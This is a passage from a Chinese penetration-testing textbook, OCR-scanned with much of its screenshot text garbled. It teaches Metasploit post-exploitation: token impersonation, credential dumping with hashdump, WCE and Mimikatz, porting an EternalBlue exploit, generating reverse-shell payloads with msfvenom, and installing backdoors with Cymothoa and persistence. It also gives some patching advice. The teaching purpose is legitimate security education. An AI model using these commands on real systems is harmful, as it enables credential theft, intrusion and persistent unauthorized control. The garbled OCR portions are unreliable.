由图5-57可以看到，我们己经获得了一个系统管理员的授权令牌，现在就要假冒

这个令牌，成功后即可拥有它的权限。

从输出的信息可以看到分配的有效令牌包含WIN-57TJ4B561MT\Adminis仕ator,

其中WIN-57TJ4B561MT是目标机的主机名， Administrator表示登录的用户名。接下

来在incognito中调用 impersonate_token命令假冒Administrator用户进行攻击，具体方

法如图5-58所示。

.!!!.O.王主!J2.!:三王主主 > imp全 rscn,;te token ,,!fJ-57TJ4日5611-!T 飞飞Admimst rat 。r
［－］由arrnng: flot currontl.; runnir,g as SYSTE问， not a11 tolcens 飞、 il1 be availab1e 

can f♀， 2气ι1. f 1 f pr irnar; proces丛 tclcen is SYSTEM 
［＋］［同leqat1on token "'ailab1·? 
[•) Successfu11; impe 「弓onatcd usor ,,]ll-57TJ4B56 1 问T 飞 Mministrator
E主主丘.!IL!三工三主， sh马l1
Prncιss 3460 c roated 
Chann月1 1 creatod. 
Mic r osdt d飞 in do内三 ［＠，封 6. 1 7601) 

IH1~ ftφφ＋ ( c) 2009 Mic roe.a ft J： ηf pore•吃 ion {tftftft令非＋φ＂＂~＂φ＋＋

瞄翩翩翩翩翩翩国
图5-58 窃取令牌

知识点： 在输入HOSTNAME\USE时IJ"AME时需要输入两个反斜杠（＼＼〉。
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运行成功后在Meterpreter Shell下运行shell命令并输入whoami，可以看到笔者现

在就是假冒的那个WIN-57TJ4b561MT\Administrator系统管理员了。

5.6.3 Hash 攻击

1. 使用 Hashdump m职密码

Hash d u mp Meterpreter脚本可以从目标机器中提取Hash值，破解Hash值即可获得

登录密码。计算机中的每个账号（如果是域服务器，则为域内的每个账号）的用户

名和密码都存储在sam文件中，当计算机运行时，该文件对所有账号进行锁定，要想、

访问就必须有“系统级”账号。所以要使用该命令就必须进行权限的提升。

在Meterpreter Shell提示符下输入hashdump命令，将导出目标机sam数据库中的

Hash，如图5-59所示。

日h刷出叩 | Administ rato1-: 500: aad3b435b51404eeaad3b435b51404ee: 69943c5e63b4d2c104dbbcc 15138b72b: I 
Guest· 501 : aad3b435b51404eeaad3b435b51404ee : 31 d6c fe0d16ae931b73c59d7e0c 089c O: I 
sl1utee r 1001 : aad3b435b51404eeaad3b435b51404ee : 69943c Se63咱）4d2c 104dbbcc 15138b72b: I 
test. 1002: aad3b435b51404eeaad3b435b51404ee : 69943c5e63b4d2c104dbbcc 15138b72b: : I 

图5-59 导出Hash

在非SYSTEM权限下运行hashdump命令会失败，而且在Windows 7 , W indows 

Server 2008下有时候会出现进程移植不成功等问题：而另一个模块smart_hashdur叩的

功能更为强大，可以导出域所有用户的Hash，其工作流程如下：

• 检查Meterpreter会话的权限和目标机操作系统类型。

• 检查目标机是否为域控制服务器。

• 首先尝试从注册表中读取Hash，不行的话再尝试注入LSASS进程。

这里要注意如果目标机的系统是Windows 7，而且开启了UAC，获取Hash就会失

败，这时需要先使用绕过UAC的后渗透攻击模块，如图5-60所示。

！旦旦m江总立［ > I U门时indows/gathei'/smarT:.hasli-dl.J丽一一→

I ［浅 j Running modu1e against 'wlN-57T J48561 MT 
［金 J Hashes ·win be saved to the database if one is conn<?Cted. 

！ ［会 j Hashes wi11 be saved in 1oot in JtR pass＞：。 1d file format to: 
｛、］ I ，.。ot/ msf4/1oot /20170305112114 default町，192 .1 68.172.149_,,ind。·•s. hasl1<?s_688329. t xt 
f 禽 l Dumoina oassv;o rd hashes. 

图5 - 60 导出域内的Hash



220 ~ Web安全攻防：渗透测试实战指南

可以使用暴力或者彩虹列表对抓取到的Hash进行破解，个人推荐http://www.

cmd5.com/或者http://www.xmd5 .com/这两个网站。

2 . 使用 Quarks PwDump tffi职密码

PwDump是一款Win32环境下的系统授权信息导出工具，目前没有任何一款工具

可以导出如此全面的信息、支持这么多的OS版本，而且相当稳定。

它目前可以导出：

• Local accounts NT/LM hashes+ historγ本机NT/LM哈希＋历史登录记录。

• Domain accounts NT/LM hashes+ history域中的NT/LM晗希＋历史登录记录。

• Cached domain password缓存中的域管理密码。

• Bitlocker recoveηinformation ( recovery passwords & key packages ）使用

Bitlocker的恢复功能后遗留的信息 （恢复密码＆关键包〉 。

PwDump支持的操作系统为Windows XP/Windows 2003/Windows Vista/Windows 

7 /Windows 2008/Windows 8 。

在Windows的密码系统中，密码以加密的方式保存在／windows/system32/config/

下的sam文件里，而账号在登录后会将密码的密文和明文保存在系统的内存中 。 正常

情况下系统启动后， sam文件是不能被读取的，但是PwDump就能读取sam。

直接运行Quarks PwDump.exe ， 如图5-61所示，默认显示帮助信息， 其参数含义

如下所示。

• -dhl：导出本地哈希值。

• -dhdc：导出内存中的域控哈希值。

• -dhd：导出域控哈希值，必须指定NTDS文件。

• -db：导出Bitlocker信息，必须指定NTDS文件。

• -nt：导出NTDS文件。

• -hist：导出历史信息，可选项。

• -t：可选导出类型，默认导出John类型。

• -0：导出文件到本地。
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图5-61 显示帮助信息

这里使用该工具抓取本机Hash值并导出，可以输入QuarksPwDump.exe -dhl -o 

1.txt命令导出本地晗希值到当前目录的1.剧。 此外， 该工具还可以配合Ntdsutil工具导

出域控密码。

3. 使用 Windows Credentials Editor j爪取密码

Windows Credentials Editor CWCE）是一款功能强大的Windows平台内网渗透工

具，它能列举登录会话，并且可以添加、改变和删除相关凭据（例如LM剧T Hash ）。

这些功能在内网渗透中能够被利用，例如，在Windows平台上执行绕过Hash操作或者

从内存中获取NT/LM Hash （也可以从交互式登录、服务、远程桌面连接中获取）以

用于进一步的攻击，而且体积也非常小，是内网渗透时的必备工具。不过必须在管

理员权限下使用，还要注意杀毒工具的免杀。

首先输入upload命令将wce.exe上传到目标主机C盘中，然后在目标机Shell下输入

wce-w命令，便会成功提取系统明文管理员的密码，如图5-62所示。
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图5-62 抓取系统明文管理员的密码

默认使用－1命令读取数据格式username:domain:lm:ntlm （这种读取是从内存中读

取己经登录的信息，而不是读取sam数据库中的信息），默认的读取方式是先用安全

的方式读取，若读取失败再用不安全的方式，所以很有可能对系统造成破坏。 这里

建议使用J参数强制使用安全的方式读取。 －g参数是用来计算密码的，就是制定一个

系统明文会使用的加密方法来计算密文，如图5-63所示。

<,:')ucc un iver~.d. cxc !I 123 I 
\JCEυ1 . 41hctd ( \ /jn<\011~ C1•c<lcnti.d~ Erlitor) - (c) 2010-2013 白npli« Secm•1ty - hy J 
川川·1i.m Ocho.1 (h,.1·n,1n[•,1npl i川ccurity . con) I 
ll::i: h fo1、｝阳 Ip. I 

n飞＇＂＂＂ord: 12] I 
11,i::hc:: : CCF'J1SSE3E7Dll4S3白白DJ 日435 日Sl 404EE: 3DBDE69?D'/1690白？69204BEll122S36?8 I 
C:'>- I 

图5-63 抓取系统密码

-c参数用于指定会话来执行cmd, -v参数用于显示详细信息，这样才能看到luid

信息， －w参数是最关键的，用于查看己登录的明文密码，如图5-64所示。

IC:,)ucc-un iυc1•:;,,l.cxe 11 I 
JllCEυ1.41ht:t,1 (\!indo11:. Cr＜；《le 『lt i‘飞 ~5 Editor )…( c > 2010φ·2013 自nplid Sectu•ity - hy I 
阳Cl＇’B ‘‘n Och『B‘‘（ hr1•n ‘‘nP‘‘n1》 l i.1:. ‘！ ClU、 i ty.cor、〉 ｜
阳 ；；息. h f 

阳dni” i ;; t ’、乱毫to1、＇Dll · C自882 ？.白 B9589 : 123456 … I 
INET\JOl!K S EHU I Ch\IOlll<GllOU P : I 

图5-64 抓取己登录的明文密码

4. 使用 Mimikatz iffi职密码

Mimikatz是法国专家Ben amin Delpy ( @gentilkiwi ） 写的轻量级调试器。 作为一

款后渗透测试工具，它可以帮助安全测试人员轻松抓取系统密码，此外还包括能够

通过获取的Kerberos登录凭据，绕过支持RestrictedAdmin模式下Windows 8或Windows
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Server 2012的远程终端 （RDP ） 等功能。在最初渗透阶段之后的大多数时间里，攻击

者可能想在计算机／网络中得到一个更坚固的立足点，这样做通常需要一组补充的工

具， Mimikatz就是一种将攻击者想执行的、最有用的任务捆绑在一起的尝试。需要注

意该工具在Windows 2000与WindowsXP系统下无法使用 。

Metasploit己经将其作为一个Meterpreter脚本集成了，以便用户使用，而不需要

上传该软件到目标主机上。

Mimikatz必须在管理员权限下使用，此时假设我们通过一系列前期渗透，已经成

功获得目标机的Meterpreter Shell （过程略〉， 当前权限为Administrator，输入getsystem

命令获取了系统权限，如图5-65所示。

[; | e rv'? r use rnam ：由I 1•1- 57T J '18561 HT\ ~.dmini st rat or I 
m仔吃号 ri:•ret<?r· > ·;ietsyst<?m I 

.9ot system ；工a t 号c hnh1ue 1 (I k1rned Pipe I mp号 re，口1·1atic111 ( !11 Hcmor·y/.A.dm工n> >- 1 
meternr·cter· > aetuid I 
Server use 1·口ame: IH AUT刊（1R!T1 ＼己YSTEi-1 I 

图5-65 获取系统权限

获取系统SYSTEM权限后，首先查看目标机器的架构。 虽然Mimikatz同时支持32

位和64位的Windows架构，但如果服务器是64位操作系统，直接使用Mimikatz后，

Meterpreter会默认加载一个32位版本的Mimikatz到内存，使得很多功能无效。 而且在

64位操作系统下必须先查看系统进程列表，然后在加载Mimikatz之前将进程迁移到一

个64位程序的进程中，才能查看系统密码明文，在32位操作系统下就没有这个限制。

这里输入S）咽nfo命令，如图5-66所示。
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图5-66 查看系统信息

这是一个32位的机器，我们直接加载Mimikatz模块，并查看帮助，如图5-67所示。
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图5-67 加载Mimikatz的帮助说明

rnimikatz command选项可以让我们使用Mimikatz的全部功能， 需要通过加载一

个错误的模块得到可用模块的完整列表，如图5-68所示。

口il且.!llL且1且王 ＞ mlmikatz_c。nnand -t a:: 
Module ’ a ’ in t r。uvable

H。dules dlsponibles 
- Standard 

crypt。－ Cryptcgraphia at cartlf1cats 
hash - Hash 

system - Gest ion systime 
process - Manipulation des procassus 

th read - Manipulat ion des threads 
sarv1c e ，问anipulanon des services 

ortvilege ， 例an1pulat i。n des pr1v1ltges 
handl e - Man ipulat ion des handles 

1mpars。nata - Manipulation t。kens d'accts 
W l叫mine - ~amputat ion du d’mir.eur 

响 ii、es-..eepe r - Mani pulation du dtmir.eu r 7 
ηogpo - Anti -gpo et patchs divers 

Sd币ounp - Dunp de SAM 
i'>ject - lnJec teur de librairies 

rs - Terminal Se阿e r 
cli vers - Fonζt ions diverses n"ayant pas enc。re assez de corps pour avoir leurs 

seku rl sa - Dunp des sessions c。urantes par pr。vidars LSASS 
e fs - Man i pulations EFS 

图5-68 查看mimikatz_command的可用模块

我们可以使用“：：”语法请求某个模块可用的选项，选定一个模块后也可以使用

6 ：：” 查看本模块的帮助，例如查看Hash的可用选项有lm和ntlm两种，如图5-69所示。
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1= 
Modul号：’hash ’ identifi帝， mais comπ1ande ' ' int rouvabl 号 ｜

Desc l工ρtion du module : Ha s h I 
l m - Hash LanManage r· ( LM) d ’ une c ha"ne di? car· ac t" r·es I 

ntl m - Hash MT La nMang <? r ( MTLM) d 'une cha非ne de car act"r·es I 

图5-69 查看模块的帮助

知道了Mimikatz的大概使用方法后，我们既可以使用Metasploit内建的命令，也

可以使用Mimikatz自带的命令从目标机器上导出Hash和明文证书。

接着直接输入msv命令抓取系统Hash值，如图5-70所示。
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图5-70 抓取Hash

输入kerberos命令可以抓取系统票据，如图5-71所示。

旦旦玉立~主主主 > 1--erberos 
[+] Running as SYSTEM 
i ’ Ret r·ieving 1--erberos c r号dentic.1s
kerberos c redentia1s 

AuthID Pacl--aqe Domain User P.'1's"o rd 

0;997 Megotiate NT AUTHORITY LO二 ~.L SE户 v I 二E

。； 996 I、legot iate ',..;ORK GROUP ·1.IIJ-S7T J~B561 MT$ 
0;48174 IHLM 
0;999 IHLM ..:ORK GROUP ,.,·111-sn J 」85611-IT幸
0;26185895 flJTL问 WH!-57T J4日561MT ~.dminist r·ator 31 00 
。； 21151937 flJTLM ·..:rn -5n J4日561MT test 31 00 
。， 113579 IHLM Wlil1-57T J48561 MT Administ r·ator 31 00 

图5-71 抓取票据

输入wdigest命令可以获取系统账户信息，如图5-72所示。
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图5-72 获取系统账户信息

接着输入samdump命令查看samdump的可用选项，然后输入mimikatz_command 

- fsamdump::hashes命令抓取Hash，如图5-73所示。

E丘且且.au:皇且皇五 > •i•.ikatz_c。....... 回 -f s－啤.-p : :
”。dulo . 'sam血，晤· 1dent1f1+. 1'81" coma，回e " int rouvab le 

09scr1pt1on 由．。由＼9 ： 队，p 由 SAii

hasl、OS ·冉’吃up’re la bootkey 曲阳归回回 ruch9 SYSTE绸阳1s \H M世、“出阳1s une n.κM SA 
bootkey - R+c up’ re \a bootkey 曲阳“四、e ruche SYSπ荆

E且且且且正旦且且Z 》 •1•1katz_coaaar、d -f s，础，，： ： hasl嗣

Ord1ruiteur : WI”-S7TJ4BS6t”T 
自。。tK。y : G08Bbc599d27tc f333f72Bde7116” 886 
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元、
，

hu eo 
吨3

1 ’3 .. C M 
曲

a· 
《ν

1 
，
、

句
4

rd nu--·· ,‘

hu 

a3 r6 ．
‘
白
－

sg le n3 i4 
。
。
，

dun

-, 

·
·
”
’
。

r

” 
。
．
·
』

c，
M肉
’
’

ULN 
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U5er : Gu9st 
L问 ·

NTL” 
Rid : 1001 
User : sh\Jteer 
L间

NTL间 ： 69943C5963b“ 2ct0‘d>OcclSI 38072b 

Rid 1002 
User · test 

L”- 
NTL问 69943εSe63b4d2c I 04d>bc c 1 5138!>72b

图s-73 iJJUlmash 

从图5-73中可以看出，抓到的目标机的三个用户Administrator、 shuteer和test的密

码都一样， Hash均为69943c5e63b4d2cl04dbbcc15138b72b，通过CMD5解密，得知密

码为l 。

Mirnikatz除了可以抓取Hash，还有很多其他功能，例如使用Handle模块、 list/kill
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进程，以及模拟用户令牌，如图5-74所示。

-.,.- "" ηl• ’ f 丰宇 Jf 1t: －~ f飞 1 f h I' ,j\ .. 
鸣、＇＂』飞‘’？，’ J ,,. '!••·.fl ( , r ＂·、＜ :...rmna·1 ：ι 。．·”＇ .. "•,]. 

回圃，.. 四回回圃，－－－唁电’圃’画－帽’圃’田园IL
1 l ＇~ - ＇’‘ 1 《，，~ Tι 「 h】r 丁、 β 飞才 a 、．·＠句。｛【 .. 1' - "' • ．－ ·ι . ' ’ ‘ ··,, 、

；’，，＿.川、二， , >' • E B龟，＂•“ '" .,• C·:: <-r "' ) ，.］，号主，、，’ 5 <’ . . ,. ill-. ” 1 , ,.· 川、 "’ 
t － •ιηl C ＞＂，：内－，，，. ［飞＂ ... 1 · l 宁r ＂·•；一＂ :i' .气ρ ， I' •." f l ’，·伞＇.l . t i' I., I' 

＇－~ 1. 二＼ • p’••'1': .ff<' lAI• ~＇：』 1 1 』＼＇’·’ j e气 H , • .j\. 
~＜：：＜：•；.＂ζ ＇.·： • r. 守 i• ,, = ‘同内”，， f 11 γi' .-. 11 、，

276 飞牛 • •... • . 8-1 卒， 1 ·‘ 主GU

二，，，「，.... ' （＂ .ι 10巳 : ＂）「• .nE' 
27G 、、、产 ：. .. 12S 二’－·气IJ.\
;• 76 1 飞h 1” u,’ . 
3GO 、？电‘，；－.. ., 13: 工，＇ ..、 lS」 ’飞晶’ l 『.. t ‘ 
.16CJ 「气「 士气 .-.• ~ 1E4 ·叶，咽口 ... .. 
360 '· ，，工。 212 •• J •.• .，.，。 ’‘＇、‘ 4
360 C 气「气气品 E 咛 /28 ’「作 Pβ•. ； ',t).: 

3GOι ＂：：＞！~＇：＞甘 e " -’ 312 乙，》l 、，，， c 060 、 t

:360 （气 rr.号 4 ‘自 －、 324 :• r 勺 ·ι〈飞 110-l 「 l’，，、，飞「气飞 ι ， ι 

360 」 U ' U二，号·勺 376 二’ v 飞乙二 728 ·'"' '11飞 L ‘＂
且60 ＇气’〈引 ι. c. 3')} : "'·' aι 气、 I 1H'• t' 
可（，O • .·＇‘，~， c-- ,o -, 116 p ，「＇，.、 77' 缸’＇·＇「 F • 

图5-74 查看系统进程

使用Se凹ice模块可以list/start/stop/remove Windows的服务，如图5-75所示。

图5-75 查看系统服务

使用Crypto模块可以list/expo此任何证书，以及储存在目标机器上的相应私钥，如

图5-76所示。
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口且i且.au:且且且正〉 m田ikat z_cornar回 -f crypt。：：
”。dule : ·crypt。· ident I fit . 11als c。•·11ande ' · int 「。uvable
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li引阳ys • LI引。 les conteneurs do clts 
oxportCorti flcatos - Expert• los cortific•ts 

e xp。 rtKoys - Exp。rt• los clts 
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patchcapi ·［＠叩or111ontal] Patch la CryptoAPI ccurante pour l "o嚣port do c\ts n归刷pcrtab\o
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图5-76 查看系统证书

Mimikatz也支持PowerShell调用 C lnvoke-Mimikatz ），脚本地址为 https://raw.

gi thubuserconten t. com/Powers he I lEmpire/Empi re/master/data/module_ source/ credentials/ 
Invoke 

Mirnikatz的功能特性： 能够在PowerShell中执行Mimikatz，偷窃、注入凭证，伪

造Kerberos票证创建，还有很多其他的功能，如图5-77所示。
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图5-77 调用Powe「Shell下的问imikatz
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Mimikatz的一些其他模块包含了很多有用的特性，更完整的特性列表可以在

Ben amin Delpy的博客 C h忧p://blog.gentilkiwi.com/）上找到。

5.7 后渗透攻击：移植漏洞利用代码模块

Metasploit成为全球最受欢迎的工具之一，不仅是因为它的方便性和强大性，更

重要的是它的框架。 Metasploit本身虽然集合了大量的系统漏洞利用代码模块，但并

没有拥有所有的漏洞代码，它允许使用者开发自己的漏洞模块，从而进行测试，这

些模块可能是用各种语言编写的，例如PerL Python等， Metasploit支持各种不同语言

编写的模块移植到其框架中，通过这种机制可以将各种现存的模块软件移植成为与

Metasploit兼容的渗透模块。所以说， 允许使用者开发自己的漏洞模块，是Metasploit

非常强大且非常重要的功能。

2017年5月 12 日 20时左右，引起全球轰动的“想哭” CWannaC叩）勒索软件，在

不到l天的时间内，袭击了中国在内的全球近百个国家和地区，学校、企业、政府、

交通、能源、医疗等重点行业领域的计算机中的重要文件被加密，相关人员的工作

被迫停顿，只有支付赎金方可解锁被加密的文件。

“想哭”勒索软件的前身是一款普通勒索软件，传播能力极弱。经攻击者改造、

植入，被泄露在网上的NSAC美国国家安全局）军火库工具“永恒之蓝”（Etemalblue )

后，才变成极具传播能力的大杀器，学校、企业、政府等内网环境中只要有一台

Windows系统计算机感染，就会迅速扩散到所有未安装补丁的计算机上。用户计算机

“中招”后，系统内的图片、文档、视频、压缩包等文件均被加密，只有向勒索者

支付价值300美元的比特币方可解锁。 “想哭”的影响范围十分广泛，造成的后果极

其严重。

5.7.1 MS17-010 漏洞简介、原理及对策

“想、哭”勒索软件使用到的“永恒之蓝”就是2016年8月 Shadow Brokers入侵方

程式组织（Equation Group是NSA下属的黑客组织〉窃取大量机密文件并公开放出的

一大批NSA Windows零日漏洞利用工具系列中的一款。 除此之外，以“永恒”为前

缀名的漏洞利用工具还有Etemalromance 、 Etemalchampion和Etemalsynergy等，所有

这些都是针对近期的Windows操作系统的。 “想哭”利用了微软SMB远程代码执行漏
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洞MSl7-010，并基于445端口迅速传播扩散。一夜之间，全世界70%的Windows服务

器置于危险之中，网络上己经很久没有出现过像MS17-01。这种级别的漏洞了，基本

实现了“指哪打明r’。

受影响的Windows版本基本囊括了微软全系列，包括Windows NT、 Windows 2000 、

Windows XP, Windows 2003 、 Windows Vista、 Windows 7, Windows 8 、 Windows 2008 、

Windows 2008 R2 、 Windows Server 2012 SPO等。还好，微软早在2017年3月 14日就发

布了MS17-010漏洞的补丁，但仍有大量用户没有升级补丁。

MS17-010漏洞利用模块就是利用Windows系统的Windows SMB远程执行代码漏

洞，向Microsoft服务器消息块 CSMBvl ）服务器发送经特殊设计的消息后，允许远

程代码执行。成功利用这些漏洞的攻击者即可获得在目标系统上执行代码的权力。

为了利用此漏洞，在多数情况下，未经身份验证的攻击者可能会向目标SMBvl

服务器发送经特殊设计的数据包，从而实现成功攻击。

读者应尽快做好受MSl 7-010漏洞的影响系统的补丁升级工作，避免被恶意勒索

软件利用。如无特殊情况可关闭445端口，并做好关键业务数据的备份工作。

5.7.2 移植并利用 MS17-010 漏洞利用代码

MSl 7-010的漏洞利用模块Metasploit虽然已经集成，但是经过测试后被发现不支

持渗透Windows 2003系统，但是网络上有支持的渗透脚本，其GitHub下载地址为

https://github.com/ElevenPaths/Etemalblue-Doublepulsar-Metasploit/，如图5-78所示。

C ElevenPaths I Etemalblu~O。ubl叩ul皿r-Metaspl。it e w.血h t， 食$国

。c。由 ''"'". Pull ＇盹Uffl• O p，喃喃。 ． 叭血· 川 G＂川、s

No descriprion, 附缸ire, or ropi臼 provided

(i) <°"""'u v l b，，咱、 。。，响画幅 且 t 阳、In队，lor z如

＂＇＂眩’曾 何vster• '• 民a，但机，，s

.........缸，阳 p.o、 EB《〉’由“嗡回 l.Mtstζomn鸭，l

..叩‘ U”。＞＜＞ng

L’CENSE ＇＂＇＇＇＇＂＂＂~＇＇ 
READM~md lnil.o•ICO何＂＂

~ •• .... 恤.. _ .. 阳...，.血.，，，， ... .. 此 P'th EB-OP """9<d 

图5-78 MS17-010的渗透脚本
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首先将该漏洞利用模块克隆到本地文件夹，如图5-79所示。

: -#git clone https://github.com/ElevenPaths/Eternalblue-Ooublepulsar-M地tasploit .git I 

正 R撞到’ Eternalblue-0咽ublepulsar-Metasploit ·. . I 

remote: Counting Objects: 61, done. I 
remote: Compressing objects: 190飞（ 51/51), done. I 

.remote: Total 61 (delta 12), reused 58 (delta 9), pack· reused 9 I 
R 开对 IS< 甲： 100飞（6116 1 ) , ;;;iu. I 

图5- 79 克隆漏洞利用模块

接着将etemalblue doublepulsar-Metasploit文件夹下的etemalblue_ doublepulsar.rb 

复制到／usr/share/metasp loit-framework/modu !es/ exploits/windows/ smb下，在Metasploit

中，了解漏洞利用代码模块存储的文件夹位置非常重要，不仅有助于寻找不同模块

的所在位置，也有助于读者理解Metasploit框架的基本用法，如图5-80所示。

图5-80 将模块移动到相应目录

现在去MSF下面重新加载全部文件，如图5-81所示。

盟主I > reload all I 
!’ J Reloading modules f 「om all module paths... I 

图5 -81 加载全部文件

现在就可以搜到该脚本了，输入use命令加载该模块，如图5-82所示。

图5-82 搜索并使用该模块

将MS17-010漏洞利用代码移植到Metasploit框架后，就可以开始渗透测试了，在
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攻击之前要先生成一个DLL文件，如果目标机是32位的系统就生成32位的DLL ， 是64

位的系统就生成64位的DLL。这里涉及免杀，可以使用PowerShell下的Empire生成DLL,

在第6.3 .4节中会具体讲解。这里使用MSF自带的Msf时nom命令生成，如下所示。

64 1立 ：『ns卡venom -p windows/x64/mete「P「ete「／ r、eve「se_tcp lhost=192 .168. 31. 247 lpo「t=4444

-f dll -0 ～／ete「nalll.dll

32 位： ： msfvenom -p windows/mete「P「et er、／ rever、se_tcp lhost=172 . 19.186.17 -f dll -o 

~／ete「nalll.dll

在使用该漏洞模块时，要按照实际情况设置以下参数。

Set PROCESSINJECT lsass.exe ( Intel x86 和 Intel x64 都可以）

SetRHOST192.168.12.108 

Set TARGETARCHITECTURE x86 

SET WINEPATH ／ 「oot/.wine/d「ive c （默认 DLL 生成文件夹，可以修改〉

Set payload windows/meterp「ete「／ reve「se_tcp

Set LHOST 192.168.12.110 

SET LPORT 4444 （该端口不可修改，否则无法成功）

Set ta「get 9 

全部设置完成后，如图5-83所示。

图5-83 查看设置的参数
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这里输入exploit或者m命令发动攻击， 成功后会顺利得到一个Mete甲reter会话，

如图5-84所示。

吃sJ exp loll ( ) > expl。 It
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图5-84 攻击成功

至此，我们己经成功利用MS l 7-010漏洞完成入侵。

因为该漏洞危害极大，读者一定要严格做好如下防御措施。

• 为计算机安装最新的安全补丁，微软己发布补丁MS l 7-010修复了“永恒之

蓝”攻击的系统漏洞，网址为https ://technet. micro so位com/zh-cn/library/

security/MS 17-0 l 0。读者也可以通过第三方工具，下载补丁包打上该补丁。. 及时备份， 一定要将重要文件离线备份。

• 开启防火墙。

• 关闭445 、 135 、 137' 138 、 139端口， 关闭网络共享。

5.8 后渗透攻击：后门

在完成了提升权限之后，我们就应该建立后门（backdoor）了，以维持对目标主

机的控制权。这样一来，即使我们所利用的漏洞被补丁程序修复，还可以通过后门

继续控制目标系统。

简单地说，后门就是一个留在目标主机上的软件，它可以使攻击者随时连接到

目标主机。大多数情况下，后门是一个运行在目标主机上的隐藏进程，它允许一个

普通的、未经授权的用户控制计算机。

5.8.1 操作系统后门

后门泛指绕过目标系统安全控制体系的正规用户认证过程， 从而维持我们对目
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标系统的控制权，以及隐医控制行为的方法。 Meterpreter提供了Persistence等后渗透

攻击模块，通过在目标机上安装自启动、永久服务等方式，来长久地控制目标机。

” 234 

Cymothoa Fo门

Cymothoa是一款可以将ShellCode注入现有进程（即插进程〉的后门工具。借助

这种注入手段，它能够把ShellCode伪装成常规程序。它所注入的后门程序应当能够

与被注入的程序（进程）共存，以避免被管理和维护人员怀疑。将ShellCode注入其

他进程，还有另外一项优势 ： 即使目标系统的安全防护工具能够监视可执行程序的

完整性，只要它不检测内存，就发现不了（插进程）后门程序的进程。

值得一提的是该后门注入系统的某一进程，反弹的是该进程相应的权限（并不

需要root）。当然，因为后门是以运行中的程序为宿主，所以只要进程关闭或者目标

主机重启，后门就会停止运行。

首先可查看程序的PID C在Linux系统下输入ps -aux命令，在Windows系统下输入

tasklist命令〉，如图5-85和图子86所示。
卜’z ps -aux 

USER PIO 飞CPU \/-IHI VSZ RSS TIY STAT START TIME CO阳讪NO
root i e.e e.2 264852 5748 ? Ss Jun63 0:93 /sbin/init 
「oot 2 0.0 9.0 自 0 ? s Jun93 9:00 [kthreaddJ 
root 3 0.0 0.0 。 日’ s Jun03 9:00 [ksoftirqd/0) 
root 5 0.0 0.0 @ 由？ S< Jun03 日： 00 [kworker/0 BHJ 
root 7 0.0 0 .0 自 B ’ s Jun93 G: 10 [ rζu schedJ 
root a e.o e. 日 日 0 ? s Jun03 O ·oo I rcu bhJ 
root 9 0.0 0.0 自 0 ? s Jun03 0:00 !migration／自 i
root 10 9.0 0.0 日 。？ S< Jun03 0·00 [\ru-add-drainJ 
root 11 0.0 0.0 。 自？ s Jun63 0:06 Iwatchdog/01 
root 12 e.e o .o 自 。？ s Jun03 8 ：自由 [ cpuhp/0] 
root 13 0 . 0 日。 。 。， s Jun03 0:00 c uho 1 

在Linux下查看PID图5-85

System Idle Process 0 Services 。 4 K 
System 4 Services 。 136 K 
smss. exe 392 Services 。 l, 156 K 
csrss. exe 560 Services 。 4, 340 K 
Nimmt eγe 656 Sernces 。 5, 120 K 
.:srss. e:<e 664 Console 6, 612 K 
services. e;.:e 728 Services 。 7, 692 K 
!sass. exe 740 Services 。 16, 168 K 
svchost. exe 836 Services 。 20, 204 K 
何inlogon. e·ce 904 Console 9, 248 K 

，、 F " •• 

内存使用会i<SttPID 会话各

’回回E四：UL..... 'L--1闹…－~配到＇＂＇剧组... 副

噩噩噩噩

在Windows下查看PID

在使用 Cymothoa时，需通过“p选项指定目标进程的PID，并通过－s选项指定

Shell Code的编号， ShellCode的编号列表如图5-87所示。

图5-86

e 
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r0c1. ： ~ F 飞 ι －＃ cymothoa -5 

白， bind /bin/sh to the provided port ( requi res -y) 
1 - bind /bin/sh+ fork() to the provided port ( requires -y) - lZlk <izik@tty64.org> 
2 - bind /bin/sh to tcp port with password authentication (requires -y -o) 
3 - /bin/sh c。nnect back (requires x, y) 
4 tcp socket pr。xy (requires -x -y -r) - Russell Sanford (xort@tty64.org) 
5 - script executi。n (see the payload), creates a tmp file you must remove 
6 - forks an HTIP Server on port tcp/880日， http: //xenomuta. tux family . org/ 
7 - serial port busybox binding · phar@stonedcoder.org mdavis@ioactive . com 
8 - forkbomb (just for fun. ) - Kris Katterjohn 
9 - open cd-rom loop (follows /dev/cdrom sym\inkl - izik@tty64.org 
10 - audio (knock knock knock) via /dev/dsp - Cody Tubbs (pigspigs@yahoo.com) 
11 POC alarm() scheduled shellc。de
12 - POC setitimer() scheduled shellcode 
13 - alarm() backd。。『（ requires -j -y) bind p。rt, fork on accept 
14 - setitimer() tail follow (requires -k -x -y) send data via upd 

图5-87 ShellCode的编号列表

成功渗透目标主机后，就可以把Cymothoa的可执行程序复制到目标主机上， 生

成后门程序。 例如，这里选择PID为982的进程为宿主进程，选用第一类ShellCode,

指定Payload服务端口为4444，具体命令如下所示。

cymothoa -p 982 -s 1 -y 4444 

成功后就可以通过以下命令连接目标主机的后门（4444号端口〉。

Ne -nvv 192.168 . 31.247 4444 

2. Persistence Fo门

Persistence是一款使用安装自启动方式的持久性后门程序，读者可以利用它创建

注册和文件。首先输入run persi stence -h查看用到的所有命令选项， 如圈子88所示。

一－~.. , ..皿6-"9L""'l•::J•T•:o.-i'I

[ I] Meterpreter scripts are deprecated Try p。st /windows/manage/pet sistence_exe 
( I] Example: run p。st/windows/manage/persistence_exe OPT!ON•value [ .. ] 
问eterp1 ete1 Script f。 f creating a pe1 sistent backd。01 on a target host 

OPTIONS 

-A Automatically start a matching exploit/multi/handler t。 c。nnect t。 the agent 
-l ＜。pt> l。cat i。n in target h。st z。 write pay＼。ad t。， i f n。ne 1'TEMP11 .,,i 1l be used 
-P ＜。pt> Pay＼。ad t。 use, default is 1dndo,1s/meterprerer/reverse_tcp. 
-S Aut。matically start the agent 。n bo。t as a service (with SYSTEM p1 ivi\eges) 
-T <opt> Altemate executable template t。 υse

-U Automatically start the agent when the Use1 logs 。n

-X Aut。matical1y stat t the agent when the system b。。ts
-h Th主s help menu 
-i ＜。pt> The rnte1 val in seconds between each connection attempt 
-p ＜。pt> The p。 rt 。n 怡rhich the system running Metaspl。it is Ustoning 
- r ＜。pt> The IP oi the system 1 unning Motasploit listening for the c。nnect back 

图5-88 查看帮助

接着输入以下命令创建一个持久性的后门，如图5-89所示。
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但总豆且丘£王三工〉 run ''"<Slotenζι -• -S -U -1 60 -p 4321 -r 192.168.172.138 

[I) Mρtorp•·•t••· 玉ζ<ipt·> "'" ·kP<•«>t•d. Try postl•indo•s/monago/p•rs1st。nce_o,o
